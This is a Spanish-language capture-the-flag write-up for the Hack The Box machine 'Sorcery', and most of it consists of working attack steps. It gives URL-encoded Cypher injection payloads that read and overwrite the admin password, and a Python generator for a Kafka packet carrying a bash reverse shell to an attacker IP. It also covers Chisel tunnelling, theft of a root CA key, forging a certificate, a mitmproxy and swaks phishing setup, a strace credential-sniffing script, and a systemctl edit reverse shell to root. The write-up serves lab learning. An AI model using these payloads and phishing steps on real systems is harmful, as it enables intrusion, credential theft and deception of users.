Sorcery



Enumeración:


Un puerto 443/HTTPS

Verificar el repositorio nos lleva a Después de agregar el archivo de hosts git.sorcery.htb, obtenemos el siguiente repositorio; y esto parece estar creado en RUST verificando las extensiones de los archivos dentro del repositoriohttps://git.sorcery.htb/nicole_sullivan/infrastructure

  • Tal parece que podría haber más opciones; al buscar en git puedo ver referencias a esto; por lo que es posible que podamos intentar escalar a otro tipo de cuenta.

Inyección de Cypher, el lenguaje de consulta utilizado por la base de datos Neo4j


inyección de Cyphe - Neo4j

🧠 ¿Qué está pasando?

En la URL estás haciendo una petición tipo:

GET /dashboard/store/9f07bed1-6bd6-403b-9219-bc91160e2573

Cuando accedes a un producto, el backend probablemente ejecuta una consulta Cypher como esta:

MATCH (p:Product {id: '<ID>'}) RETURN p

El valor <ID> proviene directamente de la URL. El problema ocurre porque no hay sanitización ni validación de entrada, por lo que puedes modificar la consulta y hacer que el servidor ejecute código Cypher arbitrario.


🐍 ¿Por qué se produce la vulnerabilidad?

Esto es idéntico a una SQL Injection, pero en Neo4j. Ocurre por:

  • El backend interpolando directamente la entrada del usuario dentro de la consulta Cypher.

  • No se usa un parámetro seguro (como $id o params.id).

  • El input no está escapado, validado, ni restringido.

Por ejemplo, si inyectas:

"}) OPTIONAL MATCH (c:Config) RETURN result {.*, description: c.registration_key }//

La consulta completa se transforma en algo así:

MATCH (p:Product {id: "9f07bed1..."}) OPTIONAL MATCH (c:Config) RETURN result {.*, description: c.registration_key }
//

Eso permite:

  • Leer nodos sensibles como Config, User, etc.

  • Cambiar contraseñas (SET u.password = ...)

  • Escalar privilegios.


📍 ¿Cómo explotarlo?

  1. Editar el ID de la URL o del campo vulnerable.

  2. Añadir payloads Cypher maliciosos.

  3. Capturar respuestas con datos confidenciales.


🛡️ ¿Cómo se mitiga?

  1. Usar consultas parametrizadas en Neo4j:

    query = "MATCH (p:Product {id: $id}) RETURN p"
    tx.run(query, id=request.args.get('id'))
  2. Validar que id tenga formato UUID.

  3. Escapar correctamente los valores del usuario.


INFO
INFO

🕳️ Vulnerabilidad: Inyección de Cypher (Neo4j)

Durante el análisis de la máquina sorcery.htb, se detectó una vulnerabilidad de inyección de Cypher en el endpoint:

El parámetro <ID> del recurso está siendo inyectado directamente en una consulta Cypher sin ser saneado.

🧪 Payload usado:

ID original del producto (benigno):

9f07bed1-b6bd-403b-9219-bc91160e2573

ID malicioso con inyección:

"}) OPTIONAL MATCH (c:Config) RETURN result { .*, description: coalesce(c.registration_key, result.description) }//
9f07bed1-b6bd-403b-9219-bc91160e2573"}) OPTIONAL MATCH (c:Config) RETURN result { .*, description: coalesce(c.registration_key, result.description) }//
🔐 Explicación del payload
"}) OPTIONAL MATCH (c:Config) RETURN result { .*, description: coalesce(c.registration_key, result.description) }//

  • OPTIONAL MATCH (c:Config) → Busca nodos de configuración.

  • RETURN result { .*, description: ... } → Devuelve los campos normales (result.*), pero sobrescribe el campo description con la clave de configuración si existe.

  • coalesce(c.registration_key, result.description) → Si existe c.registration_key, la usa; si no, deja el valor original.

  • // → Comenta el resto de la consulta original, para evitar errores de sintaxis.

Esto modifica la consulta en el backend para que devuelva no solo los datos del producto, sino también la clave de registro (registration_key) desde otro nodo (Config), sobrescribiendo el campo description si existe.


🔐 Payload URL-encoded

Codificado para insertar en la URL:

%22%7D%29%20OPTIONAL%20MATCH%20%28c%3AConfig%29%20RETURN%20result%20%7B%20.%2A%2C%20description%3A%20coalesce%28c.registration_key%2C%20result.description%29%20%7D%2F%2F

Esto permite inyectarlo directamente en el navegador o herramienta como Burp Suite, Postman, o cURL.

GET /dashboard/store/9f07bed1-b6bd-403b-9219-bc91160e2573%22%7D%29%20OPTIONAL%20MATCH%20%28c%3AConfig%29%20RETURN%20result%20%7B%20.%2A%2C%20description%3A%20coalesce%28c.registration_key%2C%20result.description%29%20%7D%2F%2F HTTP/1.1
  • Y ahora parece que tengo la clave para crear una cuenta de vendedor, así que intentemos registrarnos con ella dd05d743-b560-45dc-9a09-43ab18c7a513


  • Tenemos un nuevo apartado:

  • Probaré alguna inyección XSS en los campos para ver si activa algo, lo cual parece ser posible..

  • Ahora intentaré con otro y veré si puedo lograr que se conecte nuevamente a mi host:

Se conecta de nuevo, así que funciona. Sin embargo, todavía no consigo un shell, pero he confirmado que está ejecutando los scripts. Desde aquí, podría ser posible usar XSS con la cuenta de administrador; sin embargo, lo intenté varias veces y no pude solucionarlo; puede que sea un error.


Escalar a Admin con Inyección de Cypher


Leer contraseña de admin

"}) OPTIONAL MATCH (u:User {username: 'admin'}) RETURN result { .*, description: u.password }//

URL Encode it:

/dashboard/store/9f07bed1-b6bd-403b-9219-bc91160e2573"%7D%29%20OPTIONAL%20MATCH%20%28u%3AUser%20%7Busername%3A%20%22admin%22%7D%29%20RETURN%20result%20%7B%20.%2A%2C%20description%3A%20u.password%20%7D%2F%2F

Cambiar la contraseña

DEPENDIENDO QUE TIPO SEA EL HASH DEL ADMIN <>

Lo cual resulta como el comando completo a continuación:

$argon2id$v=19$m=16,t=2,p=1$c0VHYldqWUdNaUpDWHJLZw$nfXw1w8JydJYtvPeME/AYw
"}) MATCH (u:User {username: 'admin'}) SET u.password = '$argon2id$v=19$m=16,t=2,p=1$c0VHYldqWUdNaUpDWHJLZw$nfXw1w8JydJYtvPeME/AYw' //
"}) MATCH (u:User {username: "admin"}) SET u.password= "<argon_hash>" RETURN result { .*, description: "Password updated" } AS result //

Payload Cypher que funcionó:

Corresponde a esta inyección decodificada: PASSWD: las

"}) WITH 1 AS ignore 
MATCH (u:User {username: 'admin'}) 
SET u.password = '$argon2i$v=19$m=16,t=2,p=1$RFlwMXhKRXlqUTZ0elFOag$FlZh4r50fd618lcKdf5lBA' 
RETURN ignore //
/dashboard/store/9f07bed1-b6bd-403b-9219-bc91160e2573%22%7D)%20WITH%201%20AS%20ignore%20MATCH%20(u%3AUser%20%7Busername%3A%20'admin'%7D)%20SET%20u.password%20%3D%20'%24argon2i%24v%3D19%24m%3D16%2Ct%3D2%2Cp%3D1%24RFlwMXhKRXlqUTZ0elFOag%24FlZh4r50fd618lcKdf5lBA'%20RETURN%20ignore%20%2F%2F

Entramos como admin:

Al verificar más, parece que ahora tengo incluso más opciones que cuando tenía una cuenta de "Vendedor", lo que puede haber sido un agujero de conejo; sin embargo, están bloqueadas detrás del requisito de una "Clave de acceso".

PASOS PARA SIMULAR UNA PASSKEY CON CHROME DEVTOOLS

Intentaré utilizar ChromeDev Tools para simular una clave de acceso a través de este método;

1) CTRL + SHIFT I

2) Click the 3 dots at the top and navigate to "More Tools" > WebAuth

Luego haga clic en "Inscribir clave de acceso" en la sección de perfil del usuario administrador

Entramos con esa llave que se genero

Ahora obtengo las opciones tanto para depuración como para DNS.

  • Por lo que puedo decir leyendo el GIT de antes, la depuración puede estar ejecutándose en " Kafka ", al puerto por defecto "9092" que puedo ver referenciado aquí en docker-compose.yml.

Ahora, utilizando este script de Python proporcionado por un miembro de Discord , podemos generar una carga útil HEX funcional para obtener un shell inverso a través del menú de depuración; (guardar como payload.py)

import struct, zlib, binascii

topic  = b"update"
value  = b"bash -c '/bin/bash -i >& /dev/tcp/10.10.14.25/4444 0>&1'"

def msg(v):
    body = struct.pack(">BBi", 0, 0, -1) + struct.pack(">i", len(v)) + v
    crc  = zlib.crc32(body) & 0xffffffff
    return struct.pack(">I", crc) + body  # 🔁 CAMBIA >i A >I

mset   = struct.pack(">q", 0) + struct.pack(">i", len(msg(value))) + msg(value)
pdata  = struct.pack(">i", 0) + struct.pack(">i", len(mset)) + mset
tdata  = struct.pack(">h", len(topic)) + topic + struct.pack(">i", 1) + pdata
body   = struct.pack(">h", 1) + struct.pack(">i", 10000) + struct.pack(">i", 1) + tdata
hdr    = struct.pack(">hhih", 0, 0, 42, 3) + b"dbg"
pkt    = struct.pack(">i", len(hdr)+len(body)) + hdr + body
print(binascii.hexlify(pkt).decode())
Ahora generamos la carga útil codificada HEX

Y enviamos a través del menú de depuración como se muestra a continuación:

Y en con el listener en escucha:


🔧 Paso 1: Preparación del entorno y resolución DNS:

cd /dns
echo "10.10.16.90 upn.sorcery.htb" >> hosts-user
./convert.sh
pkill -9 dnsmasq

¿Por qué? Esto permite que el nombre upn.sorcery.htb sea resuelto dentro del entorno del laboratorio, apuntando a nuestra IP (10.10.16.90), lo cual será clave para el ataque MITM.


🌐 Paso 2: Identificar servicios internos:

hostname -I  # Output: 172.19.0.6
getent hosts ftp     # → 172.19.0.9
getent hosts mail    # → 172.19.0.7

¿Por qué? Se identifican las direcciones IP internas de los servicios ftp y mail, necesarios para descargar certificados y realizar phishing.


🧠 Paso 3: Crear túnel SOCKS5 con Chisel:

Atacante (tu máquina):

./chisel server --port 5555 --reverse --socks5

Objetivo (contenedor comprometido):

./chisel client 10.10.16.90:5555 R:socks

¿Por qué? Creamos un túnel proxy SOCKS5 inverso para enrutar todo el tráfico del contenedor a través de nuestra máquina atacante. Así podremos usar proxychains para hacer requests internos.


📄 Paso 4: Descargar certificados con proxychains:

proxychains -q curl ftp://172.19.0.9/pub/RootCA.key -o RootCA.key
proxychains -q curl ftp://172.19.0.9/pub/RootCA.crt -o RootCA.crt

¿Por qué? Obtenemos los certificados raíz que luego usaremos para firmar certificados falsos y montar un servidor HTTPS malicioso.


🧾 Paso 5: Crear certificado falso para ataque MITM:

openssl genrsa -out upn.sorcery.htb.key 2048
openssl req -new -key upn.sorcery.htb.key -out upn.sorcery.htb.csr -subj "/CN=upn.sorcery.htb"
openssl rsa -in RootCA.key -out RootCA-unenc.key
openssl x509 -req -in upn.sorcery.htb.csr -CA RootCA.crt -CAkey RootCA-unenc.key -CAcreateserial -out upn.sorcery.htb.crt -days 365
cat upn.sorcery.htb.key upn.sorcery.htb.crt > upn.sorcery.htb.pem

¿Por qué? Creamos un certificado TLS que nos permitirá suplantar a upn.sorcery.htb de forma legítima ante la víctima.


🕵️ Paso 6: Iniciar mitmproxy como servidor falso:

mitmproxy --mode reverse:https://git.sorcery.htb --certs upn.sorcery.htb.pem --save-stream-file trafficraw.k --ssl-insecure -p 443

¿Por qué? Esto simula el dominio upn.sorcery.htb en nuestra máquina. Si la víctima cae en el phishing, capturamos sus credenciales HTTPS.


📧 Paso 7: Enviar correo de phishing:

proxychains -q swaks --to tom_summers@sorcery.htb --from nicole_sullivan@sorcery.htb --server 172.19.0.7 --port 1025 --data "Subject: Hello Tom\n\nHi Tom,\n\nPlease check this link: https://upn.sorcery.htb/user/login\n"

¿Por qué? Se envía un correo fraudulento a un usuario válido para que acceda a nuestro servidor HTTPS falso, permitiendo capturar sus credenciales.


🔐 Paso 8: Acceso como tom_summers:

ssh tom_summers@10.10.11.73
# Contraseña capturada: ----------------

¿Por qué? Credenciales obtenidas vía phishing. Primer acceso al host principal.


🖼️ Paso 9: Recuperar archivo sensible desde Xvfb:

find / -type f -name "Xvfb_screen0" 2>/dev/null
scp tom_summers@10.10.11.73:/xorg/xvfb/Xvfb_screen0 .
convert xwd:Xvfb_screen0 output.png
xdg-open output.png

¿Por qué? Captura de pantalla del escritorio donde se ve la contraseña de tom_summers_admin: -----cesBjT-


👨‍💻 Paso 10: Ingresar como tom_summers_admin:

ssh tom_summers_admin@10.10.11.73
# Contraseña: -----esBjT-

🧪 Paso 11: Ataque con strace al login Docker:

tom_summers_admin@main:~$ sudo -u rebecca_smith /usr/bin/docker login

y en otra terminal ejecutamos el script:

./trace.sh
#!/bin/bash

# Script to trace Docker login processes and their children
USER="your_user"  # Replace with target user
COMMAND="docker login"  # Process pattern to trace
declare -A traced_pids  # Track already traced PIDs

while true; do
    # Find all Docker login PIDs for the user that aren't traced yet
    pids=$(pgrep -u $(id -u "$USER") -f "$COMMAND")

    for pid in $pids; do
        if [[ -z "${traced_pids[$pid]}" ]]; then
            echo "[+] Attaching strace to PID $pid"
            # Run strace in background (detached, large string size, follow forks)
            sudo -u "$USER" strace -s 128 -f -p "$pid" -o "/tmp/strace-$pid.log" &
            traced_pids[$pid]=1
        fi
    done

    # Check child processes of traced PIDs
    for parent_pid in "${!traced_pids[@]}"; do
        # List child PIDs of parent_pid
        child_pids=$(pgrep -P "$parent_pid")
        for child_pid in $child_pids; do
            if [[ -z "${traced_pids[$child_pid]}" ]]; then
                echo "[+] Attaching strace to child PID $child_pid (parent $parent_pid)"
                sudo -u "$USER" strace -s 128 -f -p "$child_pid" -o "/tmp/strace-$child_pid.log" &
                traced_pids[$child_pid]=1
            fi
        done
    done
    sleep 1  # Reduce CPU usage
done
  • La cual nos da como resultado las credenciales de rebecca_smith

grep -a 'write(' /tmp/strace-290533.log | grep -v ' = 0'

🔑 Paso 12: Extracción de hash de ash_winter con pspy64:

./pspy64 | grep -Ei "pass|ipa|txt"

# Se detecta modificación del atributo userPassword
# userPassword=--------------

¿Por qué? Vemos cómo se crea el usuario ash_winter y se le asigna contraseña.


Root

systemctl con Sudo NOPASSWD

Escalada de Privilegios a Root mediante systemctl con Sudo NOPASSWD

Cuando un usuario tiene acceso sudo a systemctl sobre un servicio como sssd con la opción NOPASSWD, es posible escalar privilegios a root si se logra modificar el archivo .service correspondiente. Este ataque es viable por las siguientes razones:

  1. systemctl ejecuta procesos como root Al reiniciar un servicio mediante sudo systemctl restart <servicio>, el proceso definido en el archivo de unidad (.service) es ejecutado con privilegios de root. Si se puede modificar este archivo, se puede forzar a que ejecute cualquier comando como root.

  2. Archivos .service como vectores de ejecución Los archivos de unidad de systemd contienen directivas como ExecStart, las cuales indican qué comando ejecutar al iniciarse el servicio. Al sobrescribir esta directiva con un payload (por ejemplo, un shell inverso), se puede ejecutar código arbitrario como root.

  3. Falta de validación del contenido del .service systemctl no valida si el contenido del archivo .service ha sido modificado, ni si es malicioso. Por tanto, una vez que el archivo ha sido sobrescrito con una carga útil, simplemente reiniciando el servicio (sudo systemctl restart sssd) se ejecuta el payload.

  4. Privilegio suficiente para modificar el entorno Aunque el usuario no tenga permisos directos de escritura en /lib/systemd/system/sssd.service, puede aprovechar otras técnicas como SYSTEMD_EDITOR con systemctl edit para modificar la configuración temporal del servicio sin necesidad de acceso completo a la ruta protegida.


Ejemplo de escalada Dado que ash_winter tiene permitido ejecutar sin contraseña:

sudo /usr/bin/systemctl restart sssd

Se puede crear o modificar el archivo sssd.service para que su directiva ExecStart contenga algo como:

ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.16.90/4433 0>&1"

Entonces, con:

sudo /usr/bin/systemctl restart sssd

se ejecutará el shell inverso como root.

TF=$(mktemp)
echo '/bin/bash -c "bash -i >& /dev/tcp/10.10.16.90/4433 0>&1"' > $TF
chmod +x $TF
sudo SYSTEMD_EDITOR=$TF systemctl edit sssd
sudo /usr/bin/systemctl restart sssd

En tu consola donde escuchas con nc, deberías recibir una shell como root:


Last updated